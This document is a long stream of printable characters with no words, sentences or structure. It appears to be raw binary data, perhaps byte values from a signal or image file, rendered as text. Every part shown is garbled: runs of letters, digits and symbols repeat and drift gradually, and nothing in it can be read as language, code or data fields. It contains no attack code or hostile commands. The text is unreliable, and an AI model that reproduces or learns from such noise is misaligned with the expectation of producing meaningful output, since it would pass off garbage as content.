ENGNGOHOIPJPJQKQLSLTMVNWOWOXPYQYRZR[S[S\U]V]V^V^W_WaXaYbYcZc[d[e]f]g^h_i_jakblclcmdnfofofqhrisjsjulvlwmxnxnyo{p{q}r}r~t~tvwxxy{||}}÷ûƻǻȽɽʾʾȼǻŹŸķ¶}{yx~vzs{syqvotmrlojmhmgkeidhae_d^c]a[`Z^W]WZVYSXRUPSOQMNLJJHHGFEECCBA@?>=<;;:988654322100/-,,**(('&&%##"     ## "!#"%$(&)',).+/-0/3032545798::<;>=@?A@CCFDGFHHKIMKQMTNUOVQWSYU[W]X^Z_[b]d^e_fagciejflgnipksmuowqxszt{u}wxz{}~÷ĸŹǺȼʾʾ˿˾ɽȼǺƹƸĸķ¶~~}||{{zywvvt~s}r}r}r{qyoyoxnwmvlultkujsjrirhpgofnemdkckcjbjah`h`g^g^f]e]d\c[c[aZaY`X`X_W_U]U\U\U[S[RYRZQXQVQWPUNVNTMTLTLSKTKRIRIQHQGNGMFMFLEKDKDJCKCJCJBIAHAH@H?F>E>E>E>D=E=C<C;B:B:B9A9B8@9?7>7=7?7=6=5<4;3;2:3;2:2;29281818080707/707/7/7/7/7/6/6.4.4.4.4-3-3-4-4-4-4-4-4-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,2,2,2,3-3-3-3-3-3-3-3-2,2,2,2,2,2,6,5,4-4-3.2////0/00/2.4-6,5,2,1-1-0../,1+2-04-:*=(:*5-3,4+:+;,8.6,5*6)6*7.6/40-1)1.13.5-4-4.6,7+7+6+5,6,7,5-3/000/0-0-3-;*>)?):*6+4+3,2/2/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4.4.4.4.4.5.5.5/7/7/70808080818181919292:2:3;4=4<4=5=6=6>7=7?7>8?8?8@8B:B;D:D<D<D<D>E=D>F?F?F@H@HAIBJBKCKCLDLELEMFMFNGNHOIOIQJQJSJRKULTMUMVNUOWPVQXRXSYR[S\T]U^U_U_W`WaXaYbZcZc[d\d\f]e]g^g_h`h`iajbkcmdmdnenfogririsjsjulvlvmxnxnypzq{r}r}s~ttuvxxyz{|}~~ºĺǽ˿ʾɽȼǻǺĸö~|{~y}xzvztyrxqvotmslqkohmgkficgbfad_c^a[_Z]X[VYUXTWRVPSNRLPKNIMHJFGECCAA@@>>=<:;:9875553322//.-,,+))('%%$#"!!        " # %#)%*&*(,*-,/.0132446597;9;9=;?=A?BAECFDJGKHMINKPMROTPUQVRXTZU\X]Y^[`^b`caebhdifkgmiokplrmsnupwqzs|t~v~wxy{}¶ķŸŹƻƼȼʾ˽ɻȼ ʽɽȼǻŹĸĸķöµ~}|zyxxxwu~u}t|s{r{rzqzpzpynwnvmulultjqjrjqiphngngleldkdkcjbiagaf`e_e^d]d\c[c[b[a[aZaX_W_W_W^W^V\V]T[S[SZQYQZPXPYOXNWMTMRMRLQKQKQJPIQIOIPHOGNGNFMFLEKDKDKDJDJBIBI@H@H@H?G?H>F>D>D=C=D<C<C:B:B:B9A:A9A9A8?8>7>7=6=6=6<5<5<4;4;4;4;4:3828181817070706/606060606/6/4/4/4/4.4/4.3/3.3.3.3.3.3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-4,5,4,3-1.//-0,1,1-1/01.3-4-3-0.,/,/+0+1,24.9,6,2.//1-4,8-7/314.6*7)6+6.708.5-2-1.2.3-1//04.7+9+4,1/2.5,4,4-5-4,3+2+3+6,7,9-9,9+7+5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3.3-3.3.3.3.3.3.3.4/4/4/406/707070707181818182829292:3;4;4<5<5<5<5=6>7>7>7?7?8?8@9A9B:B:C;C<C<D<D=D>D?E?E?E?H@IAJAJBJBKBJDKCJDKDLELFMFNHPGPHPIQIQIRKRKRLSLSMTMUNUOXPXPZPYQ[R[S\T\T\V]V\W^X_Y`XaYaYbZc[c[d\e]g^g^h_h`iajbjbldkdmemfngnhohqiqjrjrkslslumwowoxpzq{r|r|t}u}u~vxxyyzz{}}~÷ĸŹƺǻʿ˿˾ʽɼȺƹŸŷ¶~|z~w{vzuxtwruqtosmrlpjoimhlfjdhcfad`a]`[_[]Y[XZVXTVRSQSPQNPLNIKHJEHCFBE@B?@?==;;:98766544311/./--,,*)''%%$$#"       "# $"&#(%(')*+,--//2042648798;:=;>=@>B?C@DBECHEKHLJOLPMRNTPURWTXVYX[Z\[]\`^a_caecgdjfjgkhmiqlunvowpwpxq{s|u~wz{}¶öĴĴøþ24,% ʿɾɽȼǺƺŹø·~~~|||{zyxwvv~u}u|s|rzrypwpwovntmslslslrkrjqioinhmhmfldkckbjbjajaiag`g`f^e]e]d\c\c[bZbYaXaW`W`WaV_U_T^S^S[TYTZSXSXRXQWQXPWPWOVNUNUMTMQKQKQKPJPJPIOIOGNGNGNFMEMEKEIDIDHCHBHBGAGAHAHAG@G?F?F?D>C=B<B<B<A;A;A;A;A;A:@:@:@:?8>7>7>7=6=6=6<4<5<4<4<5<4:473737373737373626262626262515050505050504/4/4/4/4/4/4.4.4.4.4.4.4.4.3-3-3-3-3-3-3-3/3.5-7,7,7,5.4.2/2/2/4.5-5-6-7,8,4-2.4.3.2/6-7-.0.13.6,6,4.20013/5,5+4,4.5/6.;*>' :*6.3/00-2104.5-2//1106.:,:,8,8,7+4,2-2-3.5/60708.7,4,4.505050505050505050505050506162626262626273737384848495;5=6=6=7=7>7>8>8>8?8?9?9?9A:B;B;C;C;C<C<D<E=E=E=E>F>F>F?F?G@GAHBHBHBHBICIDIDJEJELENFOHPHPHPIQIPJQIQKRKSLSMTMUNVNWNWOXOXPYQYQYRZS[T[T\U\V]U^U`V_VaW`XbYbZc[d\d]e]e^f^g_h`i`iajajbmcndndoeoepfphqhqiqjrkrlsltmtmxpxpxqyryrzs{t~v~v~wwxxz{{|~~·ĸźƻǼɽɽʾɿȽǼƻŹŸķö´|z|x{wzvyuysvqsoqnploknjlgkeidhbeae_c^`\^Z\YZXXUWTUSSQQPPNNKLKKJJHGFFDDBC@B>?=?;=::8866443211/.--,,**)(''%$"#!!         !# #!##%$'&((+*-,/-1/3242648698:9<:><?>@?CAECGEHFKHMJOKQMQOTQUTVUWVYX[Y[Z][`^b^d`ebgcjekgnhoiqkrltntnvoxrzu{w|x}zz|~ <\`TA'ʾ̿˿ʾɽǼƺƺʏ·~~||{{yxxww~u}t{t{tzsyqyqxownwntmtmtlsjririqhqhpgpgnfmfldldkckbkbkbjai`i_g^f]f]g\d[eZdYdYbZbZaY`Y`X_W_W_W_V^U]T\T\S[TXRXQXQXQWPWPWPVOVNUMTLTLSJQKPKOJOJNHNHNHMGNHNGMFMFLELDKDJDJDICHBHBHBHBHBGAGAF@F?F?F>F>E>E=E=D<D<C;C;C;C;C;C;A;>;>;>;>;=;>:=:=:<9;9<8;9=8<7;5;5;5;5;5;5;5;5;5;5;4;4;4:3:3:3:3:3:3:39292929292927262627290;//?/>0>0=0926362738596:7<5<29193;4;5;5;5;5;5;5;5;5;5;5;5;5=8>9>:>:>:>:>:>:>:>:>:?;?;@:B<D<D<D<E=E=E=F>F>F>F?G?G?G@I@I@IAJAJBKCKCKCKCKCLDLDLDLEMFMGNHNHOIOIOIOIOIPKPKQLRLTMUNVMWNWNWNXOYPYQZRZR[S[S\U\T^T^U_U`V`W`XaXaYbZbZc[c[d\e]f\f]h^g_i_i`jajakbkcldlcnepfpgpgqhqhsititjukukvlwmwmxoyqyrzrzs{t{t~u~v~vwxxz{{|}~~·ĸƺƺǼȼɾɾϿͿ˾ɽǽƻźĸ÷~}{z|xzvxtwsuqtpsornpkmjlgkfieidgbf_d_b^a]_[]Y\XZVXTVSTQSPRNOMNKKIIGHFFEDCCA@??==<<::896745351200/..,,+)(('&%##"!     " $"&%)'*(++-,/-0/212153748698;9<;?<A>C?EAGBJEJHLJNLOMPNROTPURWSYU[W\X]Y_[a]c`dafbhciekgminkolqmsntpuqxsytzv|w~yz{~ >hy~ylQ/ úǿ˿ʾɽɼǻƹŸøö¶~}}|{{zywwvv~u~u~t|r{q{p{p{pxownxnwmwmvluksksjririqhqgpfoeoendncmdmblblbjah`g_g^f^f^f^e]e]d[cZbZbYaY`X`X`W_V_V_V_U]V]U\T\T\T[RZRYRXQXQXQWPWPVOUMUMUMULTKTKSKQKQKQKPIPIPIOHOGOGOGOFNENEMFLELELEKDKCKCKCKCJBJAJAJAIAEBDADAE@C@D?C@C?C?B?C>B>C>C>C>C=C=C=C=B<B<B<B<B<B;A;A:A:A:A:A:A:A:A:@9@9@9@9?8?8?8@9@:@9A8B8B8A8A7@7@6@6@6?5=6=7>7?7?7=8?7>7=7=6=7;9;8=7>7=7<7;8;8<7=7;7;6;6;7;7>5@5C7A8@9?9>:?9@9?8?8>9>8@8B7B7B9B9B:B:A:A:A:@:@;A<C;C:A:A;A;B<B<B<B<B=B=B=C=C=C>D>D>D?D?D?D?E@F@G@G@G@GAGAHBIAJAKCKCKCKCKCKCKCMDMDNENENEOFOFOGOGOHPHPIPIQISJSJTKTKTKTKUMVNVNVNWOWPWPYPZQZQZQ[R[R[S[S[T]T]U^V_V`W`W`X`XaYaYaYaYbZd[d\e\e]f^g^g_i`kakalclclcldnemepfogqhqhqhririsjtktlulvlwmwnxoypzp{p|q|q|r}t~t~uwxxxyz{{|}}~~ķƹƺǻǻȼʽ˿ʿɾȼǺƹŸĸ·~|{zy~w{uyswrvpuornqkpjnilhkfjehbgae_c^c\a\`Y\WYVYUWSUQTOSNQMOKMILIJGHFGDEBD?@=?<?:<9:7957341201./-,+,+*))(&&%%$"!        #!$#%%&')'*),,/-0.10415375:7<9>:?;B=C>D@ECHDJFKGLINJPLRNTOUQVRWSYUZV\X^[_\a\b^c`fbhdifkglhmjolrmrnsotqwrytyu}x~y{|}Po7ºƼƺʼɽ˿˿ξϿʿɾɽȼǻǻƺĹø·~||{{zzyxwvvv~u~t}s}s|r|q{pzpypynynxmwmvlultktjsjrirhqhqhpfnemdmdlclclckbkbjah`h_g_g_f^f^f]e\e\e\d[cZc[bZbYaXaX`X_W^W^W^W]V]V]U]T]T\T\R\R[RZRYQXQXQWPWPWOVNVNVNUMULULULTKRLRLRKQKQKQJQJPIPHPHPGOGNGMHLHLGLFKFKFKFKEJEJDJDICICJDKEKCJDKBIBJBJBIBJBIBJAIAH@H@H@H@H@H@H@H@H?G?G?G>F>F>F=F?F?F?F>F>F>F>F>F>F>F=E=E=D=C=C=C=C=C=C=C=C=C=C=C=C=C=C=C=C=C=C=C=C=C=D=D=D=D=D=D=F>F>F>F>F>F>F>F>F>F>F>F>F>F>G?G?G@H@H@H@HAH@H@HAHAHAIAIBIBJBIBJBICJCKCJDKDJDKDKEKEJEJEJEKEKFLFMFMFNGNHNHNHPHPHPIPIQIQJQJQJRJTKTKTKUKULULULUMVMVNVNVOWPXPYPZQ[Q[Q[R\S\T]T]T]U^V^V^V_V`V`WaXaXaXaXbYbZbZc[d\d\d\f^f^f^f^g^g_h_ibjblclcmdnemdmdoepfqgrhririsjsktkulumvnwnxnyoyozpzq{r|r}s}s~t~uvvwwwxzz{|}}~~´´õö÷øùƺǻǼɽʾ˿ɿɾɽȼǻźŹø·}|zz}y|w{uytwrvptnrmqlpkoilhkfjdhcfaf`c^a\`\_Y\W[WZUXSVQSPSNQMPLNIMHKGIEHBEAD@C?B>@;=9;7958462403/0-.,+**()'&&%$#""!       #!$#&&)(*)+*-+/.2/41627485:6;8=:><A=B?D@EBGCIFKGMIOJPLQMSNSOTQWTXUZV[W]Z_[`]b_d`eagbhdkfkgminjplqmsnuqwsxtyuzv}xy{|~T¿w:µ¶øŹǺȺɻʾ˿ʿɿȾǽƼŻø·¶~}}}|{zzyyxwvv~t~t}s|r{rzqzqzqzpxoxownvmultluksksjsjririqiphognfnfmemdldlclckbkbjaiahah`h_g_g^e^e^e]d]d\d]c[c[bZbYbYaXaX`X_W^W^W]V]V]U]U]U]T]S\T\S\RZSZSYSYRXRXRXQWPXPWPWOWOVNWMUNUNTNTNSMSMSLRLRLRLRKQKQJQJQKQKPJPIPHOHOHOHOHOGNGNFNFNFMFMEMEMEMEMEMEMEMEMDLDLDLCKCLDLELELELELDLDLDLCLCKCKCKBKBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBJBLCLDLDLDLDLDLDMDMEMDMDMEMDLELDLDLEMEMEMEMFMEMEMFNFNFNFNGNHOGNHOHOIOIPIPJPIPJPJQKQKPKPKQKQLQLRLSMTMSNTNTOUNVNVNWOWOWOXPXQYQZR[R[R[R\R\S]S\S\T\T\T]U]V^V^V^W_W`W`WaXaXaYbZbYcZc[c\c[d\e]f]f^f^g_g`h_h`iaiajbjckclcldmememenenfogpgqhqirjsjsktktlulwmxoxoxoypypyqzq{s{s|s}t}t~uuwwxyz{{||}}~µöĶŷƹǺȻȼɾɿʿʾȽƼŻĹø¶}zy}x|v{uxsvsurtprnpmolnjlhjgiehdgbead_b]`\^Z]Y[WYUXTVRTPSPQNPLNJLILHJGHEGCEBC@A>@<=:=9;7:6957351302.1,.+,)(&&%$##!"      " #"%#&$('+)-*/,0-1.40627395;7<8>9?:A<B>D@FBHDJEJGMHNJOLRMSNTOVQXSYUZW]X^Z^Za\c]d`eagbhcjekfmhojqlrmsntovqxsxtzuzv}wz{}O¸¸t:õĸŹŹȻȼʾ˾˿̿ʿȽȼǻƺŹŸ÷¶¶~~}}||zzyyxwwv~v}u}t|s|szs{qyqzqypxpwowovmumtltkrksjrjririqiphpgogngnfnflemeldjdjcjcjcicibiahai`g_h_g_g_f^d^e]d]d]c\c\c[b[bYbYbYaYaX`X^Y_X^X^X^W\V^V]V]U]U\T]S[T[T[TZSZSZSZSYRYRYRYQYQXPXPXPWQVPVPVPVOVOVOVOUNUNUNTMTMTMSMTMSMSLSLSLTLRLSKRKRKRJQKRKRKRKRKRKRKQKRKQJQJQIPJQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHQHSJQKRJRKRKRJQKRJRKRJRJRKRJQKSKRLRLSLRMTLSMSLSLRLSLSMTMUNUOUOUOUOUOVOVPVPVPVPVQWQWQWQURWQWRXRXRXSZSXTZTZU[T\U\U]T\U]U^V^W_X`X`X`X`XaXaYbYaYaZaZbZb[b\c\d]e]e]f^f^f_g`g`hah`haiaicjbkckdkclemememfnemgogohohpiqiqiqjrksksktksmvmvnwnwoxqxqyqzqzr|r|s}u}uvwwxxyzz{{||}~~¶÷ĸŹǺǻȻʻ˼̾Ϳ̿˾ʽȼǻǻƺŹ·~}~z{xzvxuwsvruqsopmolnkljjhifhefcdab`a_a^_\]Z\XYWXVWUVSSQROPNOLMJKIJHIFGDEBEAC@A>@<>;<9;7957362513/1./,-*+)*((&&$%"#!!      ! #!$"&$)'*(,*.+1.3.50517284:6;8<:?;A=A>B@EAGDHELFLGMHOKQMRNTPVRWSXTYU[W]Y^Z`[b\c^d_eahcjekglgmhojplqmrosptpwsytzu{v~xz||};g_, øĸƹǺǻȼ˽̾̿ʿʾȼȼȻǻƺŹĸ÷~~~||{zzzyxxwvv~v}t|t{szszqyqzqxpyoyoxowownvnumumulsltkrkqjqjpjqjoipiohohogngofmfnflekekdjdjcjcjciahah`g`h`g_f_f_e_e^d^d^d]c]d\c\c\c[b[cZbZbZbZaYaYaYaY`X`W`W`W`V_V_V^W^X^W^W^W^W^W]V]V]V\U\U\U\U\UZU[UZT[T[TZT[SYSZSYRYQYQXQYRXRYRYRXRYRXRYRXQXPXPWPXOXOXOXNXNYNXNYNXNXNYNXNYNXNXNXNXNYNXNYNXNXNYNXOYNXOYNYNXOYPXQYQXQXQYQXQYQXQYQYQXQYQXRYRYSYSZSZT[TZTZSZSYSZSYT[S[T\U]V]V]V]V]V]V]W]W]W^X^X^X^X]X^Y^Y_Y_Y_Z`Y`YaZaZbZbZb[c[c\c\d]d]e]e]f^f^f^g^g_h`g`g`g`hahbhbjajcldldlemfmfnfmgnhngohphpiqhqirjrksktktltltktmumumvowpxpxpxqyrzqyq{rzs}t}t}u~vwwwxxyz{{|}}~´µö÷ĸŹŹǼɽɽʾ˿˿˾ʼȻǺƹŸö¶~}||z|xyxzvwuustrspqnpmokmjkhiggfgeecdab``__\\[[YZXYWXUVSTQRQPOPNNMLKKIIGGFFDECBAB@?==;=:;897857462302.0,/,-+,)*&'%%##"" !    !"#"%#'%+'-(-).+0-3.40527386:7;9=:?;@=C>D?E@FCIEJFLHNJPKQLRNSOUQVRXSZT[V\X^Za\b]c_e_f`gbidjfkhmjnkpkrmsmtovpxryszt|u{v{y|~}}|!AXa`Q5¶¶ķŸƹǺǺȻɼʾʾ̿ʿʾɽȽȼƺƺŸķĶõ´´~}}||{{zyyxwwvvw~v}u}t|t|s{s{rzryrxqwqxqwpwovnvnvmtmvltlulskqkrjpjqipipiphoiphohogogngngkflflfkekdjdkdjckcjcibjbibjbiaiaiag`h`g_h_h_g_g^f^g^e]d]d]d^d]d]c\c\c\c[c\c[bZbZbZ`[bZ`[aZaZ`[aZ_Y`Y`X_X_W^X`Y_Y`Y`Y_Y`Y_Y_X_W_W_W]W_V_V`W`V`VaV`W`V`V`V`V`WaV`V`V`V`VaV`W`V`V`V`U_V`U_V_U_U_V`W_Y`X`X`X`X_Y`X_X`X`X_X`X_Y`Y`Y`ZaZ`[bZa[aZaZ`ZaZ`[bZbZc[c\c\c\c\c\c]d]d^d^d^d^d^e_f`f`f`f`gagahahahahbibibickcjdkdkdjdkdmememfnfofngphohohohohpipirirjrjsjslsltlultmtmununvnvnxoyqzrzrzr{r|s{s|s{t}u}u~vwxxxxyyyzzz{|}}~µö÷ķŸƹƺƺȻɽɽʾʿͿͿ̾ʾɽȼǻƹŷĶõõ´}|z~x}vzvytvssrsprpropmnlmjkhjfhegcebb`a__^_]][\ZZXYWWTVSSQSPQOQMNKMJJIHGHGFEDCCAA??>>==;:9:876644321100./,,++)('&$&$%##!"       " $!%#%#(%)'+*.,0.102152647495:7;9<;><@>A@CAFCGEGEHFKHMJPLQMRNSPUQVRWTYV[W\Y]Z_\`^b_c`dbgchdjflgoipjpjrjtlunuovqws{v~w|zzzwuuuxz$z|)||){{|} ´õõĶķŷƸǹǺɼʽʾ̿˿˿ɽɼȻǺǺƸŸĹø·÷~~~}}||zzzyywxxxwvv~u~u~t~t~t}r}r|r{rzrzryqypypypxoxnxnxnwmwmvmumtmtmtlsksksjsjsjriririqhqhohohohngnfnfnfnfnfmememdlcmdmdmdmdlclckblclclckbkbkbjbibibibibiaiaiah`h`h`g_g_g_g_f_f_f_f_f_f^e^g_f_f_f^e^f^f^f^f]f^f]f^f]f]f]f]f^f]f^f]f]f^f]f^f]f]f]g^g_g^g_g^g^g_f^e_f^f_f_f_e_g_f`g_g_f`g_g_h`h`haiaibiaibibibibiajcjbjckbkbkblclclcmdmdmdmdmdmemememememenfnfnfogohphqhriririsjrksjsjsjsjsktlulvlwmwmwmwmwnwowoxnypypzqzr{qzr}r}s}s}t|u~t~t~uvvwxwwxyyzz{||}}~~¶÷ĸĸźƻƻȼɽɽʾ˿̾ʽɼɺƹƹŷĶöµ´~}|~z|wzuytxruquosnqmplnkmjlhkgjfhdgbeac_b]a\_[]YZYYWXVVSURTQSOQNOLNKMJLHKGHEGCDAB@A?@=><<:;896856352310//.--*,)*(('&%$#"!       !" $#'&((**++-,..0.1/4142647697:9<;><?=@>A?CAFDIEJGJHLIMJPLPMROTPURUSWTYW\Y]Z^[a]b^d_e`gaicjdlemgogogphsnwrzsytwtuqrq rt su vv yy}|}µ÷ĸĸƺǻȼɽɾɿʿͿ̿˾ɾȽȽǼƻƺŹŸŸķöµ´~~}}}|{zzzyxxwwwwvvvu~t~t~s~r}r}r|r{szrzrzqyqypzpyoyoynxnxmwmvoununumtmultltltlsktksksjsjsjsisjsisjsisirisirirhqhqhrhphphphpgpgpgofofofofoeoenfnfmfmfmfmfnemfmemeldldldmdlclclclclckclclclclckclclclclclclckclclclcldldmdldldldmdmdlememfmfnfmgnemfmfmfmfnenfnfnfogogogpgphqhqhqhqhqiqhqirhsisisisisisisjtjtktktkultltltltlvlvmvmulvnwnxnxnynyoxnxpypypypzqzqzr{r|r}r}r~r}s}t}t}u~uvvwwwxxyyzz{{{|}}}~~¶øĸĹźƺǻǼȽɾʿʿʿɾȼǼȻƺƹ÷µµ~}|y~x|w|vyuyswrvqtosnqloknilhkejeidgbfae_d^a\`[_Z]X[VZUYTVRUQSORNPLPKNJLHKGJEGCFBEAD?B>@<>:=8;897847351402.1-.+-**)'(&'$%"# !    !#"$#%%'')(**,+-,/-0/1122657687:8;:<;?=@>A@BADBFDHFHGKILJMKNLQNSPURWTXTYU[X^Y^Z`[b]e^e^g`h`h`jblfpkrlslrlqkplqosquryt{wyxzy}yyz}÷øøĹƺǻȽʽ˾˿ʿɾʽɼȻȺƹƹĸ÷~~~}}}||{zzzyyyxyxxwwwwvvvut~t|u{t{t{tzs{rzszrzryrzqyqzqzqzpzpzpzoypzozoyozoynynymxmxnxnxnxnxmxmxmwlwlwlwlwlwlvlvlumululululultktktjsjsjsisirjrjqjsjqjrjrjrjrjqjsjqjrjrjqjsjqjrjrjrjsjrksjrksjsjsjtktltltlulumumulumululumulumwlwlwmxmxmxmxnxnxnxnxnxnxnxnxnznyozoyozozozp{pzq{q{q{r{r{r{r|s}s}s~s}s}s}s~t~ttuvvvwwwwxxxyyyz{{{||}}}}¶¶¶ķŸƺǻǻǻȼȽɿʽȽȼǻƺŹø·}}~z|y{wyuyuwsvqtpsornpmoknimhlgjeicgbe`e^c^a]a[_Z_X]WZUZTXSVQTOTNRMQKPJMHLGJFIDGCFAE@B>@<?;>:>8;695836251303-0,.*-(+'*&(%'"#" !       !!#"%#&%'&)(**+,.-0/002142547587:8;9<;><@?BADCFDFDGFJHLINKOLPMRNTPURVRXTZV\W^W`YaZb[d\g_iblcmemelekgmhniqjtlunsqrrurxr{s}v~y}{}|||~·÷ĹƹƺǻǼȽɾʿ˾ɽɽǼǻƻźŹĸĸ÷~~~~|||||zz{{{zzzyyyyyyxxxwxvvvuuu~ut~t~st~ut~t~s~s~s~s}s~r~r~r~r}s|r{s{r{r{r|r{r{q{q{q{q{q{pzpzqzqzqzqzqzqzqzqzqzqzqzqzqzqzqzqzqzqzqzqzqzr{qzqzqzq{qzqzr{r{r{s|r|t|s|s|s|s|s|s|s|r}r~s~s~ss~ttt~tt~tttuuvuvvwwwxxxxxyxzyyzyzz{{{|}}}}~}~´õõĶķĸŸƺƻǻǼȼɼʽ˿˿ʾɾȼǻŻźùø·~}||}z|yywxuvtvrsproqnpmoknjmimhkgifhegcfbe`d^b\a[_Z^Y\WYUXSWRWQUOSNSMRLQKNIMHLFKEHCFAC@B?A=@;>9<8:6958473614/3.1-0,.+-),(*%'#%!$ "    !"!$"%$(&)())**-+.,0/1041535486:8:8<;><>=?>C@DBFDGEIGJHLINKOLRMSOTPVQWRXTZV\W^V_WbZc\e^e_f`g`iajamdmgljljoiqirkunuqttuuvtxt{u~wz{|}~¶÷ĸŹƺǻȼȽɾʾ˿̿˿˿ʾɽȽǼǻƺŸŸķ÷öµµ~~~~~~~~}}}||}|||{{{|{|zzzzyyyyyyyyyyyyyxxxxwwwxxxxxxxxxxxxxxxxxxxxxxxxxxxxyyyyyzyzyyzyzyyzzzz{{{{{{{{|||||||}}~}~~~¶÷÷ŸŸƹȺɻɻɽʾʾʾ˿˿ʿȽȽǻǻƺƺĹķ÷¶~|zyx~v{uyuxtvsursproomplnjkikgificfcdacab`a^`]_[^Z]X\VYUXSWSUQTPSNRLQKPJNILGKEIDGCFAE@C?A=?<>;<:;8;7958362302/1.0,/+,)+')%'$%#%"#!!      !#!$"%#&$'&*'+)-+.+0-1.3051638596:7;9=;>=>=??AACCECGEIGJHMJMJOLPMROSQUOVPXRZU[W\X\X^X_Zb\d]d_dbfcibkbmcnhnlmlnmomplsnwpxrwsxtzu{w|xz|}~´µ÷ĸŹŹǺǺǻǼȽʾ˿˿˾ʾɽɽɽǺƺŹŹĸĸ÷¶}}~~~~~~~~~~~~~~~~~~~~~~~~~~~¶÷ĸŹŹƺƺǻȽɽɽʿ˿˿˿ʾɽɼɼȻǺƹŸ÷÷öµ}|~z}y|w{vytxrvqvpuosnqnpmoknjlhjgjfhdfbead`c^b]^\\[[ZZYYWWUWTVRUQTORNRMPLOKMIKHIFHEGDFAD@B?@=?;<;<:;89785545331201./--+,*)((''%&#$"# !    " #!$#&$(%)'+).+/-0/3041636465768798;;<;><@>A@CBECFDHEJGKHLGNIOLPNPNRNSPTSUVWWYWZW\Z`\c[dZe\f`gdgfgfhejdkeohpjpkpmrnsotpwrxtzu|v|v}w~yz{|}~¶¶÷ĸĸƹƹǺǻȼ˼˽̾ο˿˿ʾɾȼȼǼǻƺƺƺŸø····øĸƺƺǻǻȼȼɽʾ˿˿̿̾ɽȼǻǺƹŸŸĶĶõ´³}{~z}y{w{xzxyvxuwtuqsotproqlpkojnhlgjeiehcfae`d^b^a\_[]Y\X[WZVXTUSTRRQROOMOLNKMJLHJGJFHEGCEBC@@>@>><<;:9;99875645241200.---+***))(&&$$#"!      !# $"'$(&)'*(,)-+.,../.102143557698;9<:><?=@>A?B@D@EBGEHFIGKHMJNMOPQQSPTPUSVUYS[T\V]Y^\^^_^a^c^d_eahcidkflglhoipkpkrmtntnuovqvqwrytzu{w~wyz|~µ¶ķŷƸƹȻȻɻɼʽʾʿʿʿʾɽȽȼǻȻǻǻźĺøø·¶·øøùĹĺŻƻǼȼȼɽɽʿ˿ʿʾɾȼǻǻƺŹŸŸ÷¶¶}|{y}w{vztxsvrvqupsnqoqnpnpmnkmjlhjghehcgbe`d^c_b]`\_[^Y\XZWYVWTUSURTPROPMNKMJJIKHHFFEEDDCBAA?@??>><=;<::88786644341100.---,++**&'%&$$#$"#!!       !" #"%#&%'&('*(+*-+/-0/3141538495:7:7;9=:?;@=A>C@EBFCHDIGJHKHLIMLNMQMROSPURVSWUXVYW[X\Z][_\b]d^e_fagbicidjelgmhniojpkqmqnrospvpvrxszu|u|w}xyz{~¶÷øŹƺǻǻȼȽȽʾʿ˿˿˿ʾʽȼǻǻǻƺƺƺĸ÷···¶¶¶ĶŷŸƹƹǺǻȼȼȼȼȽȽʿʾʽʽɽɼǻǺƺŹŸķͶ~}|{y~w|v|u{tyrxqvpuntnqmplojoilhkgjfjeidgbebc`b_a]`\_[]Z\YYWXUWTWSUSSQRPQNOMMLMKLJJHIGHEFDDBDAA?@>>==;;:99877665545341201./--,-**)(''&&%$#""    !" #!$#'$(&)(+*-*-,1-2/303152748496;7=9>;@<A=B?CADADBFDGFJGKHLJLKOLPMQNSPTQVSVSXUZV\W]Y^Z_[b\b]c^e`gagbhcjekfkglimjokpkqmsntotpvqyrysyt{v|x}y~z~{|}~¶÷÷ĸĹƺǻǻȼʼʽʾ̾Ϳο̿̿˿ʾɾɽɽȼǻǻǻǺƺƺŹŹŹķöö¶µ¶÷÷ĸĹŹźŻƻǺǻǻȼȽɽʾ˿̿˾˾ʽʽȼȻǻƺŹķķ÷öµµ´~}|{~y|x|w{vxuwtvsvquosnsmslqkojnhmhkgjeidhcfae`d_c^a]_[^[]YZWYUYUWTVSURSPQNPMPLNLMJKIJHHFFDECDBCAB@A>>==<=::998866553322100/..-.,-*+)*('&'%%##!!!        !"!$#%#&%('*(+),+/,1.2.3062738595:7;9<;>;><A>A@CADBFCGEHFJGKHMJOKPLQMRNSOTOTQVRWTXUYVZW\Y^Z_[_\a^c_eagbhcidifkglgmimipjrlrlrmsotpuqvsxtyuzv|w~yz{||}·÷ķĸŹǺǺȻȻǼȽɽɾʾ˿˿˿ɾȽȽǼǼƺŻƻźĹĹøµµµö÷ŷĸĹºĺŻŻƽƽɾȾɾʿ̿̿˾ɾɾȽȼǼƻƺŹĸĸĸĸ·~}|{yy~x}vzu{txsvquptpsnpmplolojmilhlgkfjegcfbeac_a^`]_\]Y]X^W[WYUXTWSVRSOSNRNQMPLNKMIKHJGJFIEGCDBDAB@@>?=><>:;9978765643231100//--,,***)('%&$%##!"       !#!$"$"&$(%)&*(-).+/,2.2/415263749597;8=:?;?;@=B>C?EAGBHDIDIFJHJIKJMKOLOMQOSPURUSWSWUYVZW\X^Y_Z`[a\c]e_e_f`hbicjejelgmjmjokrlrmrnunupvqxrysztzuzv{w|x~yz|~÷÷ĸĸĹŹƺǺȼȼɽʾʾʾ˿˿̿ɿȽȽǼȼǼǻƺǻƺùŸ÷÷ĸö¶¶öö÷ĸĸķŹƺƺƻƻǻǻɼɽɽɽʾ˽ʾ˿˿ʾʾɽȼȼǻǻƺƺźŸĸ¸÷µ~}|z~y}x{wyuwtvruqwqxqwquosntmqlojojmhkfjgjegdebdab_b^`]^\^\][\ZZYYWWVVUVSUQWPTPRNRMQKOJMJMHKGIFIEGCEAC@B>A>@=?;<9<8:7858563614141100./-,,,**((&'$%##!"!!      !" 